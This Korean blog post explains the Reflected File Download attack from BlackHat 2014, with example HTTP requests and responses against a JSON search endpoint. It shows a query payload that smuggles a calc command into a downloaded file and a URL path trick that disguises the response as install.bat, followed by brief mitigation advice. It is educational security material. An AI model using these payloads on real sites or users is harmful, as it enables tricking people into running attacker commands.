[WEB HACKING] Reflected File Download(RFD) Attack

요즘 정신없이 보내다보니 간만에 글을 쓰게 되네요. 오늘은 BlackHat 2014에서 Hot했던 RFD에 대한 이야기를 하려합니다. (벌써 2년이나 지났네요 ㅎㅎ..)

BlackHat 2014 Europe 에서 발표된 이 내용은 RFD, New Web Attack이란 아젠다고 진행되었고 신뢰할 수 있는 도메인에서 파일을 다운로드하여 제어권을 가져갈 수 있는 공격이라고 발표되었습니다.

RFD(Reflected File Download)?

이 공격 방법에 대한 내용을 살펴보자면 핵심 키워드는 JSON, 신뢰된 도메인으로 생각되네요.

일단 신뢰된 도메인에서 우리가 파일을 받을 때 직접 exe롤 호출하기도 하고 api 를 통해 다운로드 받기도 합니다.

요즘 많은 서비스들이 JSON,JSONP를 사용하고 있고 RFD 또한 이러한 공격 유형에서 많이 발생합니다.

실제 테스트 페이지를 만들기 전 구글에 제보되었던 취약점에 대해 보면서 이해해 볼까 합니다.

구글 검색을 통해 발생하는 요청을 살펴보면 아래와 같은 요청이 나가게 됩니다.

Request


GET /s?q=hwul HTTP/1.1
Host: google.com
~~~~

Reponse


HTTP/1.1 200 OK
Content-Type: application/json;
Content-Disposition: attachment

{"result":["q","hwul","zzzz"]}

여기서 주의깊게 보셔야할 것은 json 형태로 데이터를 받는것과 Content-Dispositon 입니다. 해당 부분이 attachment로 구성되어 첨부파일로 떨어질 수 있기 때문입니다.

공격자는 백슬래쉬() 등을 이용하여 더블쿼테이션(“) 을 나옵니다. 이 부분은 일반적인 웹 해킹에서 많이 사용하는 방법이죠.

Request


GET /s?q=hwul\ HTTP/1.1
Host: google.com
~~~~

Reponse


HTTP/1.1 200 OK
Content-Type: application/json;
Content-Disposition: attachment

{"result":["q","hwul\","zzzz"]}

공격자는 || 를 통해서 추가적인 값을 넘기게 됩니다. (발표 자료에서는 calc, 즉 계산기를 호출했죠)

Request


GET /s?q=hwul\"||calc|| HTTP/1.1
Host: google.com
~~~~

Reponse


HTTP/1.1 200 OK
Content-Type: application/json;
Content-Disposition: attachment

{"result":["q","hwul\"||calc||","zzzz"]}

위에 나온 Reponse 값을 Windows CMD에 붙여넣어 보면 아래와 같이 계산기가 뜸을 확인할 수 있습니다. \ 문자열로 잘려고 or 연산으로 인해 calc가 명령행으로 들어가게 되는거지요.


{"result":["q","hwul\"||calc||","zzzz"]}

파일 이름, 디렉토리 이름 또는 볼륨 레이블 구문이 잘못되었습니다. (The filename, directory name, or voulme label syntax is incorrect)

위 메시지가 발생하고 바로 calc가 실행되네요.

다시 본론으로 돌아와서 방금 Response 중 헤더를 살펴보면 Content-Disposition이 attachment로 지정되어 있습니다. 아까 말씀드린대로 첨부형태로 떨어질 수 있고 아래 구문이 떨어지면서 역슬래쉬()로 구문우회 후 or 연산을 거쳐 calc가 실행되게 됩니다.

원격으로 파일을 내리거나 실행할 수 있게 되지요.

자 이제 사용자를 속일 차례가 되었습니다. 물론 위 방법대로 바로 받는다면 {“result”:[“q”,”hwul"   calc   ”,”zzzz”]} 이 남은 의미없는 파일이 생성되기 때문에 사용자를 낚아야 겠지요.

이제 공격자는 요청에 설치파일인 척 꾸밉니다.

Request


GET /s;/install.bat;?q=hwul\"||calc|| HTTP/1.1
Host: google.com
~~~~

Reponse


HTTP/1.1 200 OK
Content-Type: application/json;
Content-Disposition: attachment

{"result":["q","hwul\"||calc||","zzzz"]}

이럴 때 서버는 사용자에게 아까와 같은 Response를 던지게되고 사용자 PC는 해당 내용을 install.bat이란 파일로 저장하게 됩니다.

신뢰된 도메인으로 부터 받은 파일이기 때문에 사용자는 의심없이 해당 bat 파일을 실행하게 되고 아까 받아진 명령행이 넘어가면서 calc가 실행되게 됩니다.

이러한 공격은 명령행으로 넘길 수 있다면 어떤 상황에서든지 가능합니다. 대체로 .bat, .cmd에서 동작할 것이며 리눅스도 비슷한 방법으로 가능할 것 같네요.

RFD의 위험성과 대응방안

위에 설명만으로도 충분히 위협적인 공격이라고 인지하셨을 것 같습니다. 여기에 추가로 활용 가능성에 대한 이야기가 더 있었습니다.

아래 자료를 보시면 이해가 다른 케이스에 대해서도 참고하실 수 있을 것 같네요.

https://www.blackhat.com/docs/eu-14/materials/eu-14-Hafif-Reflected-File-Download-A-New-Web-Attack-Vector.pdf

대응은 다른 웹 취약점과 비슷비슷합니다. 가장 중요한 특수문자 필터링이 꼭 필요하겠지요. 물론 최종적으로 실행하는 것은 사용자이지만 신뢰 도메인에서 떨어지기 때문에 서버 관리적인 측면에서 보안을 하는것이 훨씬 효율적일 것 같습니다. 정기적으로 웹 공격에 대해 점검을 받는게 제일일 것 같네요. (모든 기술에는 허점이 있기 때문에!)

RFD Check Point

쉽게 정리해볼까합니다. 일단 RFD는 Reflected File Download의 약자이며 RXSS와 같이 사용자로 하여금 악성 파일을 다운로드 하여 실행하게 하는 공격 유형입니다.

다만 특이한점이 있다면 신뢰된 도메인으로 부터 받고, 실제로 파일이 존재하지 않더라고 batch나 스크립트를 통해서 명령을 실행할 수 있다는 점 입니다.

공격자 입장에서 이 취약점을 찾기 위해 어떤 방법이 있을지 생각해 보았습니다. 일단 제일 중요한 부분은 첨부파일 형태로 만들어낼 수 있는지 확인이 필요합니다. 바로 HTTP Response Header 내 Content-Disposition: attachment 부분입니다.

attachment로 지원하는 요청중에서 우리의 입력이 Response에 남고, 역슬래시() 등 특수문자를 통해 batch 내 우회구문을 만들 수 있는지 확인이 필요합니다. 위 2 조건이 만족한다면 우리는 가짜 파일을 사용자로 하여금 다운로드 받게 할 수 있고, 사용자는 그 파일이 취약점을 찾아낸 도메인으로 부터 온 파일이기 때문에 신뢰하고 실행하여 공격자가 reverse shell이나 악의적인 명령을 실행할 수 있게합니다.

Reference

https://www.trustwave.com/Resources/SpiderLabs-Blog/Reflected-File-Download—A-New-Web-Attack-Vector/

https://www.blackhat.com/docs/eu-14/materials/eu-14-Hafif-Reflected-File-Download-A-New-Web-Attack-Vector.pdf